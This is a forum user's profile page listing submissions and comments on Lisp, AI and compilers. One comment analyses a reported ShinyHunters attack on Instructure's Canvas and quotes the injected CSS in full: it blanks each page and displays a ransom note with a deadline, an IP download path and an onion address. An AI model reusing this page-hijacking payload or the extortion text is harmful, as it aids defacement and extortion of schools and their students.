HackerTrans
TopNewTrendsCommentsPastAskShowJobs

swatson741

no profile record

Submissions

Lisp Coding Standards v1.0

franz.com
2 points·by swatson741·6 miesięcy temu·0 comments

Computer Science Illustrated (2009) [pdf]

www2.eecs.berkeley.edu
1 points·by swatson741·6 miesięcy temu·0 comments

The Sparsely-Gated Mixture-of-Experts Layer (2017) [pdf]

arxiv.org
1 points·by swatson741·6 miesięcy temu·0 comments

Y Combinator Store

ycalumni.store
2 points·by swatson741·6 miesięcy temu·1 comments

CYC: A large-scale investment in knowledge infrastructure (1995) [pdf]

dl.acm.org
4 points·by swatson741·7 miesięcy temu·0 comments

Grok's Phone Number

x.ai
2 points·by swatson741·7 miesięcy temu·1 comments

Waymo Safety Impact

waymo.com
2 points·by swatson741·7 miesięcy temu·0 comments

Wearing the hair shirt: a retrospective on Haskell (2003)

microsoft.com
3 points·by swatson741·7 miesięcy temu·0 comments

OpenCyc 4.0

sourceforge.net
3 points·by swatson741·7 miesięcy temu·1 comments

Introduction to Artificial Intelligence

inst.eecs.berkeley.edu
3 points·by swatson741·7 miesięcy temu·0 comments

GitHub Copilot CLI

github.com
1 points·by swatson741·7 miesięcy temu·0 comments

Arduino UNO Q

arduino.cc
4 points·by swatson741·7 miesięcy temu·0 comments

60 Years of Artificial Intelligence at Stanford (2023) [video]

youtube.com
1 points·by swatson741·7 miesięcy temu·0 comments

GitHub Shop

thegithubshop.com
2 points·by swatson741·7 miesięcy temu·4 comments

Essentials of Compilation: An Incremental Approach (2020)

swatson555.github.io
11 points·by swatson741·7 miesięcy temu·0 comments

Google PageSpeed Insights

pagespeed.web.dev
2 points·by swatson741·7 miesięcy temu·0 comments

General Parser Combinators in Racket (2012)

epsil.github.io
3 points·by swatson741·7 miesięcy temu·0 comments

Jargon.txt (1988)

dourish.com
2 points·by swatson741·7 miesięcy temu·0 comments

Artificial Intelligence: A Modern Approach

aima.cs.berkeley.edu
4 points·by swatson741·8 miesięcy temu·0 comments

Three Directions in Design: Gerald Jay Sussman (2024) [video]

youtube.com
3 points·by swatson741·8 miesięcy temu·1 comments

comments

swatson741
·2 miesiące temu·discuss
I saw this happen to my Canvas account today. At first I thought it was a prank from the school or Instructure. The message was sent to students which makes no sense. Second, the message that was sent basically implies that ShinyHunter is actively getting patched out, and no one is ever going to give into their demands. They're basically saying that they're done and desperate. It's a strange message for ShinyHunter to send, but I think they were trying to pull off a psyop / FUD.

Looking into the payload they sent me this is how they hijacked the screen. Everything in the payload is unchanged except for one line of code:

<link rel="stylesheet" href="https://instructure-uploads.s3.amazonaws.com/account_9363000..." media="all"/>

This links to the following styling sheet:

@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500;7...');

html, body { height: 100% !important; overflow: hidden !important; margin: 0 !important; padding: 0 !important; }

body > * { display: none !important; }

body { display: flex !important; align-items: center !important; justify-content: center !important; background: #07080c !important; }

body::before { content: "" !important; position: fixed !important; inset: 0 !important; z-index: 999998 !important; background: radial-gradient(ellipse at 50% 20%, rgba(255,59,59,.06), transparent 55%), radial-gradient(ellipse at 50% 85%, rgba(125,70,152,.04), transparent 45%), repeating-linear-gradient(0deg, rgba(255,255,255,.035), rgba(255,255,255,.035) 1px, transparent 1px, transparent 3px), #07080c !important; pointer-events: none !important; }

body::after { content: "\A\A" "S H I N Y H U N T E R S" "\A" "rooting your systems since '19 ;)" "\A\A\A" "ShinyHunters has breached Instructure (again)." "\A" "Instead of contacting us to resolve it they" "\A" "ignored us and did some \201Csecurity patches\201D." "\A\A" "\26A0 W A R N I N G" "\A\A" "If any of the schools in the affected list are" "\A" "interested in preventing the release of their" "\A" "data, please consult with a cyber advisory firm" "\A" "and contact us privately at TOX to negotiate a" "\A" "settlement. You have till the end of the day by" "\A" "12 May 2026 before everything is leaked." "\A\A" "Instructure still has until EOD 12 May 2026" "\A" "to contact us." "\A\A" " \25BC DOWNLOAD AFFECTED_SCHOOLS.TXT \25BC" "\A" "91.215.85.103/pay_or_leak/" "\A" "instructure_affected_schools_list.txt" "\A\A" "visit us: shnyhntww34phqoa6dcgnvps2yu7dlwzmy5" "\A" "lkvejwjdo6z7bmgshzayd.onion" !important;

    position: fixed !important;
    z-index: 999999 !important;
    top: 50% !important;
    left: 50% !important;
    transform: translate(-50%, -50%) !important;
    white-space: pre !important;
    text-align: center !important;
    font-family: 'Fira Code', 'Share Tech Mono', monospace !important;
    font-size: clamp(10px, 1.4vw, 14px) !important;
    line-height: 1.55 !important;
    color: #c8dce8 !important;
    background:
        linear-gradient(180deg, rgba(255,255,255,.05) 0%, rgba(255,255,255,.01) 3.2%, transparent 3.2%) !important;
    background-color: #0d0f16 !important;
    border: 2px solid #ff3b3b !important;
    border-radius: 14px !important;
    padding: 16px 32px !important;
    overflow: hidden !important;
    box-shadow:
        0 0 35px rgba(255,59,59,.2),
        0 40px 90px rgba(0,0,0,.65),
        inset 0 0 0 1px rgba(255,255,255,.06),
        inset 0 0 50px rgba(255,59,59,.03) !important;
    animation: pulseWarn 2.5s infinite ease-in-out !important;
    max-width: 94vw !important;
    text-shadow: 0 0 6px rgba(200,220,232,.15) !important;
}

@keyframes pulseWarn { 0% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 50% { box-shadow: 0 0 55px rgba(255,59,59,.4), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 100% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } }

The hack is crude, and it seems unlikely that they have any access to Instructure's developer tools.
swatson741
·6 miesięcy temu·discuss
I dunno about this. The problem mainly affects low-income families and residents of food deserts, and now the government is trying to put everyone on a keto diet. It just seems like they're not fixing the problems where they happen.
swatson741
·7 miesięcy temu·discuss
this is really quite interesting to read through after nearly going catatonic thinking about catamorphisms in the Tiger language.
swatson741
·7 miesięcy temu·discuss
Date of publication is from 2007.
swatson741
·7 miesięcy temu·discuss
I never really considered this too deeply, because I've never studied "Agentic AI" before (except for natural language processing). Stallman is making a really good point. ChatGPT doesn't solve the intelligence problem. If ChatGPT was actually able to do that it would be able to make ChatGPT 2.0 on request.
swatson741
·7 miesięcy temu·discuss
https://thegithubshop.com/collections/lifestyle/products/155...

> Rise and grind with the latest GitHub skateboard deck (it also looks great on your office wall).

There's a lot of great gift ideas here for someone you care about. Merry Christmas everyone!
swatson741
·7 miesięcy temu·discuss
How has AI impacted your profession?
swatson741
·8 miesięcy temu·discuss
[flagged]
swatson741
·8 miesięcy temu·discuss
I think the term transpiler is ok. It’s not pedagogical or anything but most engineering jargon is like that, and this defiantly isn’t the worst one I’ve seen.
swatson741
·8 miesięcy temu·discuss
So he wants a good parallel language? What's the issue? I haven't had problems with concurrency, multiplexing, and promises. They've solved all the parallelism tasks I've needed to do.
swatson741
·8 miesięcy temu·discuss
Norvig actually did comment on this publicly once on the Lex Friedman podcast. Basically what he said was that lisp ended up not working well for larger software projects with 5 or more people on them, and the reason why they never used lisp in any of their books again was because students didn't like lisp. Norvig doesn't seem to get why students didn't like lisp, and neither do I but somehow this is the real reason why it was abandoned.

https://youtu.be/_VPxEcT_Adc?t=2690
swatson741
·8 miesięcy temu·discuss
I'm referring to the fundamental idea in AI of knowledge representation. Lisp is ideal for chapters 1 through 4 of AIMA, and TensorFlow has shown that NN can be solved well with a domain specific language which lisp is known to be great for.

In fact, the first edition of AIMA even had a NN and Perceptron implementation in Common Lisp. (https://github.com/aimacode/aima-lisp/blob/master/learning/a...)
swatson741
·8 miesięcy temu·discuss
We know in hindsight that lisp became most useful for representing computation, but what ever happened to AI? McCarthy says it's characteristic of LISP. SICP also mentions AI as being fundamental to lisp at the beginning of the book. Norvig & Russel used Common Lisp for the first edition of their book. But, then what happened? Why did it just disappear for no reason?
swatson741
·9 miesięcy temu·discuss
It works but it can’t do much other than demonstrate semantics. The evaluator won’t even be able to add numbers for example.
swatson741
·9 miesięcy temu·discuss
You're right `virtmach` only works on things that are output from `compile` and maintaining the invariant that virtmach lisp uses those pointers isn't difficult to do in with how the evaluator is presented.

It gives virtmach lisp and scheme different ontology, but I can't think of any practical reason why that would matter other than it makes things a little bit more complicated. But, then again if I'm thinking practically scheme should be using hashed identifiers, and then there's no reason for them to have different ontology and conceptually we're right back where we started with virtmach lisp and scheme using identifiers as objects.
swatson741
·9 miesięcy temu·discuss
A C compiler can output fairly readable code if you turn off optimizations, and it's definitely not going to take thousands of lines to do this in modern assembly. It may be only just barely a thousand lines to do this in aarch64, and the LLM can probably do it.

From what I've seen the LLM do it can definitely enhance these programs if you know what to ask, and it can explain how any piece this code works. It may even be able to add garbage collection to the evaluator since the root registers are explicit, and the evaluator only acts on static memory.
swatson741
·9 miesięcy temu·discuss
You'll still probably need the `strcmp` because the pointers won't be the same unless you check for them and make them the same.

You may be thinking about how `eq?` (reference equality) works in scheme. That's usually done by hashing the identifier string. Which is the more general solution to this equality problem.
swatson741
·9 miesięcy temu·discuss
The Japanese paper culture is pretty wild. They use them to make fusuma (sliding doors), decorative strips, gift wrapping, etc. And like they say in the report they've done this since forever. There was once a time in history when the rest of the world was stuck using solid shutters instead of superior paper windows.

BTW the reporter looks like Cotten Hill if he was real, and actually fought in all those wars. I'm quite surprised they had him hosting the video. I'm curious what decisions led to this.
swatson741
·10 miesięcy temu·discuss
Very true but the other side of this is first class continuations are no worse than compiling try-catch semantics, and hygienic macros are still just macros so the complexity is kept simple (sort of. maybe simple isn't always so simple).

The other thing that makes languages like scheme difficult to compile are those closures. In fact, the book, the implementation of functional programming languages, Jones (1987) didn't do it at all! No closure conversion at all. They just compiled to a letrec in the g-machine.